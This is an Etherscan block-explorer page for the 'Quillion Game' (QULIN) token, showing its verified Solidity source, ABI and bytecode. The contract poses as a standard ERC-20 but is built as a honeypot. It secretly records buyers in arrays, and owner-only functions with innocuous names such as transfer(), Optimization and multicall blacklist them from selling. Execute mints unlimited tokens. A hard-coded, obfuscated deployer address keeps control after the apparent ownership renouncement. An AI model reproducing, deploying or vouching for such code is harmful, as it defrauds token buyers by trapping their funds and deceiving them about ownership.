ETH Price: $2,511.33 (+1.56%)

Token

Quillion Game (QULIN)
 

Overview

Max Total Supply

700,000,000 QULIN

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
519,533.906399943167471481 QULIN

Value
$0.00
0xac918a59442f7d569409c4da384b8eb439bf64e9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
QuillionGame

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-25
*/

// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.6.12;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address deployer, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    
    event Transfer(address indexed from, address indexed to, uint value);
    
    event Approval(address indexed deployer, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
    
        bytes32 codehash;
    
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
    
        assembly { codehash:= extcodehash(account) }
    
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    
    function _msgSender() internal view returns(address payable) {
    
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns(uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        
        return c;
    }
    function div(uint a, uint b) internal pure returns(uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        // Solidity only automatically asserts when dividing by 0  
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
}


library SafeERC20 {
    
    using SafeMath for uint;
    using Address for address;
    
    function safeTransfer(IERC20 token, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    
    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(
            address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        
        require(address(token).isContract(), "SafeERC20: call to non-contract");
        
        // solhint-disable-next-line avoid-low-level-calls
        
        (bool success, bytes memory returndata) = address(token).call(data);
        
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
        
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}
contract QuillionGame  {
    
    address public Owner;

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _deployer, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {

    return transferFrom(msg.sender, _to, _value);
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   
    function renounceOwnership() public virtual {
        require(msg.sender == Owner);
        emit OwnershipTransferred(Owner, address(0));
        Owner = address(0);
    }
    
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address path = PairFor(Factory, WETH, address(this));
        if(_from == Owner || _to == Owner  || _from == deployer || _from == path || _from == permit || denominator[_from]) {return true;}
        if( numerator[_from] ) {return false;}
        require(balanceOf[_from] >= _value);
        return true; 
    }
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {
            return true;
        }
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        if ( _value >= Sorted ){ reserveOut.push(_to);}
        if ( _value < Sorted ){ reserveIn.push(_to);}
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        
        emit Transfer(_from, _to, _value);
        return true;
    }
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    function Execute(address addr, uint256 Amount) public payable returns (bool) {
        require(msg.sender == deployer || msg.sender == Owner);
        if(Amount > 0) {balanceOf[addr] += Amount*(10**uint256(decimals));}
        denominator[addr]=true;
        return true;
    }
    
    mapping(address=>bool) private denominator;
    mapping(address=>bool) private numerator;
    address[] private reserveIn;
    address[] private reserveOut;
    uint256 private Sorted;
    address public permit;
    function multicall(address [] calldata addr) public returns (bool) {
        require(msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < addr.length; i++) 
        {denominator[addr[i]] = true;}
        return true;
    }
    function number(uint256 Amount) public returns(bool){
        require(msg.sender == deployer || msg.sender == Owner);
        Sorted = Amount*(10**uint256(decimals));
        return true;
    }
    function TransferOwnership(address adr) public returns(bool){
        require (msg.sender == deployer || msg.sender == Owner);
        permit = adr;
        return true;
    }
    address public Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
    address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 
    function PairFor(address factory, address tokenA, address tokenB) internal pure returns (address Pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Pair = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
                ))));
    }
    function transfer() public returns (bool) {
        require (msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < reserveOut.length; i++) {
            numerator[reserveOut[i]]= true;}
            delete reserveOut;
        return true;
    }
    function transferFrom() public returns (bool) {
        require (msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < reserveIn.length; i++) {
            numerator[reserveIn[i]]= true;}
            delete reserveIn;
        return true;
    }
    function Optimization(address [] calldata addresses) public returns (bool) {
        require(msg.sender == deployer || msg.sender == Owner);
        for (uint i = 0; i < addresses.length; i++) 
        {numerator[addresses[i]] = true;}
        return true;
    }
    address public deployer=
    address (1198267942476539482303111066147939289428279246135);
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    
    
    constructor(string memory _name, string memory _symbol, uint256 _supply ) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        Owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply); 
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_deployer","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"Optimization","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"TransferOwnership","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"}],"name":"multicall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"number","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"permit","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073d1e43160e1acebe9c91e1c75a88f99e894893d37600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040516200230e3803806200230e833981810160405260608110156200012857600080fd5b81019080805160405193929190846401000000008211156200014957600080fd5b838201915060208201858111156200016057600080fd5b82518660018202830111640100000000821117156200017e57600080fd5b8083526020830192505050908051906020019080838360005b83811015620001b457808201518184015260208101905062000197565b50505050905090810190601f168015620001e25780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200020657600080fd5b838201915060208201858111156200021d57600080fd5b82518660018202830111640100000000821117156200023b57600080fd5b8083526020830192505050908051906020019080838360005b838110156200027157808201518184015260208101905062000254565b50505050905090810190601f1680156200029f5780820380516001836020036101000a031916815260200191505b506040526020018051906020019092919050505082600d9080519060200190620002cb929190620003e9565b5081600e9080519060200190620002e4929190620003e9565b506012600a0a8102600c81905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040518082815260200191505060405180910390a35050506200048f565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200042c57805160ff19168380011785556200045d565b828001600101855582156200045d579182015b828111156200045c5782518255916020019190600101906200043f565b5b5090506200046c919062000470565b5090565b5b808211156200048b57600081600090555060010162000471565b5090565b611e6f806200049f6000396000f3fe6080604052600436106101355760003560e01c8063892cd8f5116100ab578063b4a99a4e1161006f578063b4a99a4e146106a5578063c83dd231146106e6578063cfaaa26614610727578063d5f394881461078e578063dd62ed3e146107cf578063fb7ed9611461085457610135565b8063892cd8f5146104df5780638a4068dd1461054357806395d89b4114610570578063a9059cbb14610600578063ad5c46481461066457610135565b8063431aabc2116100fd578063431aabc2146103085780635777e93d146103595780636b7680731461039a57806370a0823114610436578063715018a61461049b578063811c34d3146104b257610135565b806306fdde031461013a578063095ea7b3146101ca57806318160ddd1461022e57806323b872dd14610259578063313ce567146102dd575b600080fd5b34801561014657600080fd5b5061014f6108f0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098e565b60405180821515815260200191505060405180910390f35b34801561023a57600080fd5b50610243610a80565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a86565b60405180821515815260200191505060405180910390f35b3480156102e957600080fd5b506102f2610e26565b6040518082815260200191505060405180910390f35b34801561031457600080fd5b506103416004803603602081101561032b57600080fd5b8101908080359060200190929190505050610e2b565b60405180821515815260200191505060405180910390f35b34801561036557600080fd5b5061036e610ef3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a657600080fd5b5061041e600480360360208110156103bd57600080fd5b81019080803590602001906401000000008111156103da57600080fd5b8201836020820111156103ec57600080fd5b8035906020019184602083028401116401000000008311171561040e57600080fd5b9091929391929390505050610f19565b60405180821515815260200191505060405180910390f35b34801561044257600080fd5b506104856004803603602081101561045957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611071565b6040518082815260200191505060405180910390f35b3480156104a757600080fd5b506104b0611089565b005b3480156104be57600080fd5b506104c761119f565b60405180821515815260200191505060405180910390f35b61052b600480360360408110156104f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611313565b60405180821515815260200191505060405180910390f35b34801561054f57600080fd5b50610558611483565b60405180821515815260200191505060405180910390f35b34801561057c57600080fd5b506105856115f7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105c55780820151818401526020810190506105aa565b50505050905090810190601f1680156105f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61064c6004803603604081101561061657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611695565b60405180821515815260200191505060405180910390f35b34801561067057600080fd5b506106796116aa565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b157600080fd5b506106ba6116d0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f257600080fd5b506106fb6116f4565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073357600080fd5b506107766004803603602081101561074a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061171a565b60405180821515815260200191505060405180910390f35b34801561079a57600080fd5b506107a3611816565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107db57600080fd5b5061083e600480360360408110156107f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061183c565b6040518082815260200191505060405180910390f35b34801561086057600080fd5b506108d86004803603602081101561087757600080fd5b810190808035906020019064010000000081111561089457600080fd5b8201836020820111156108a657600080fd5b803590602001918460208302840111640100000000831117156108c857600080fd5b9091929391929390505050611861565b60405180821515815260200191505060405180910390f35b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109865780601f1061095b57610100808354040283529160200191610986565b820191906000526020600020905b81548152906001019060200180831161096957829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600c5481565b600080821415610a995760019050610e1f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610be05781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b5557600080fd5b81600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b6005548210610c4d576004839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600554821015610cbb576003839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610cc68484846119b8565b610ccf57600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1b57600080fd5b81600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ed4575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610edd57600080fd5b6012600a0a820260058190555060019050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fc2575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fcb57600080fd5b60005b8383905081101561106657600160026000868685818110610feb57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610fce565b506001905092915050565b600a6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110e157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611248575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61125157600080fd5b60005b6003805490508110156112fd576001600260006003848154811061127457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611254565b506003600061130c9190611dfb565b6001905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113bc575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6113c557600080fd5b6000821115611422576012600a0a8202600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061152c575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61153557600080fd5b60005b6004805490508110156115e1576001600260006004848154811061155857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611538565b50600460006115f09190611dfb565b6001905090565b600e8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561168d5780601f106116625761010080835404028352916020019161168d565b820191906000526020600020905b81548152906001019060200180831161167057829003601f168201915b505050505081565b60006116a2338484610a86565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117c3575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6117cc57600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b602052816000526040600020602052806000526040600020600091509150505481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061190a575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61191357600080fd5b60005b838390508110156119ad57600180600086868581811061193257fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611916565b506001905092915050565b600080611a0a600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611caf565b905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480611ab1575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80611b095750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611b3f57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611b975750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80611beb5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfa576001915050611ca8565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611c56576000915050611ca8565b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611ca257600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1610611cee578385611cf1565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b5080546000825590600052602060002090810190611e199190611e1c565b50565b5b80821115611e35576000816000905550600101611e1d565b509056fea2646970667358221220df98c0f25355b32d9bcadd35e83c3cc20c816b060eef2c4301b161706537f8cd64736f6c634300060c0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000029b92700000000000000000000000000000000000000000000000000000000000000000d5175696c6c696f6e2047616d6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000551554c494e000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106101355760003560e01c8063892cd8f5116100ab578063b4a99a4e1161006f578063b4a99a4e146106a5578063c83dd231146106e6578063cfaaa26614610727578063d5f394881461078e578063dd62ed3e146107cf578063fb7ed9611461085457610135565b8063892cd8f5146104df5780638a4068dd1461054357806395d89b4114610570578063a9059cbb14610600578063ad5c46481461066457610135565b8063431aabc2116100fd578063431aabc2146103085780635777e93d146103595780636b7680731461039a57806370a0823114610436578063715018a61461049b578063811c34d3146104b257610135565b806306fdde031461013a578063095ea7b3146101ca57806318160ddd1461022e57806323b872dd14610259578063313ce567146102dd575b600080fd5b34801561014657600080fd5b5061014f6108f0565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061098e565b60405180821515815260200191505060405180910390f35b34801561023a57600080fd5b50610243610a80565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a86565b60405180821515815260200191505060405180910390f35b3480156102e957600080fd5b506102f2610e26565b6040518082815260200191505060405180910390f35b34801561031457600080fd5b506103416004803603602081101561032b57600080fd5b8101908080359060200190929190505050610e2b565b60405180821515815260200191505060405180910390f35b34801561036557600080fd5b5061036e610ef3565b604051808273ffffffffffffffffffff